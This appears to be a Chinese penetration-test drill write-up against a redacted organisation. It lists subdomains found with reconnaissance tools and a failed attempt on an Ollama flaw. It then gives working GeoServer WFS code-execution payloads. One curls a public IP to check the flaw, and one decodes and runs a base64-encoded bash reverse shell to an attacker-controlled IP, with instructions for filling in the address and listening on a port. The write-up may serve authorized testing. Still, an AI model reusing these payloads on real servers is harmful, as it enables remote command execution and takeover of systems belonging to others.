演练
1.信息收集
主动信息收集:oneforall
ai.xxxxxx.xx
被动信息收集:subfinder
geo.xxxxxx.xx
l.xxxxxx.xx
blog-admin.xxxxxx.xx
oss-aliyun.xxxxxx.xx
hackme.xxxxxx.xx
dao.xxxxxx.xx
geoserver.xxxxxx.xx
vnet.xxxxxx.xx
file.xxxxxx.xx
blog.xxxxxx.xx
doc.xxxxxx.xx
shellme.xxxxxx.xx
wao.xxxxxx.xx
cloud.xxxxxx.xx
tao.xxxxxx.xx
bao.xxxxxx.xx
shell.xxxxxx.xx
zentao.xxxxxx.xx
www.xxxxxx.xx
t.xxxxxx.xx
第一次演练信息收集有问题,oneforall只扫出一个,与其他人交流多出几个域名
dy.xxxx.xx
waf.xxxx.xx
vpn.xxxx.xx
2.ai.xxxx.xx
发现长亭waf(docker部署),ollama
waf后台打不进去,暂时不考虑直接换下一个
找ollama的nday
需要在自己的服务器上构造一个恶意的model manifest内容,而当victim主机pull这个manifest文件后,会在自己的/root/.ollama/models/manifests/ 最后会通过PUT,将恶意的manifest文件写入,第二次请求该manifests文件没有的内容时,会读取上一次读取的文件信息。使用多个poc也没有利用成功,换下一个不浪费时间。
3.geoserver.xxxxxx.xx
存在./geoserver/wfs路径
poc如下
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"curl 公网ip")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
漏洞验证成功
dns回显记录
将“YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==”进行base64解码:bash -i >& /dev/tcp/127.0.0.1/12345 0>&1,然后将里面的127.0.0.1替换为接收反弹Shell机器的公网IP,再进行base64编码替换进去
poc如下
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
监听8888端口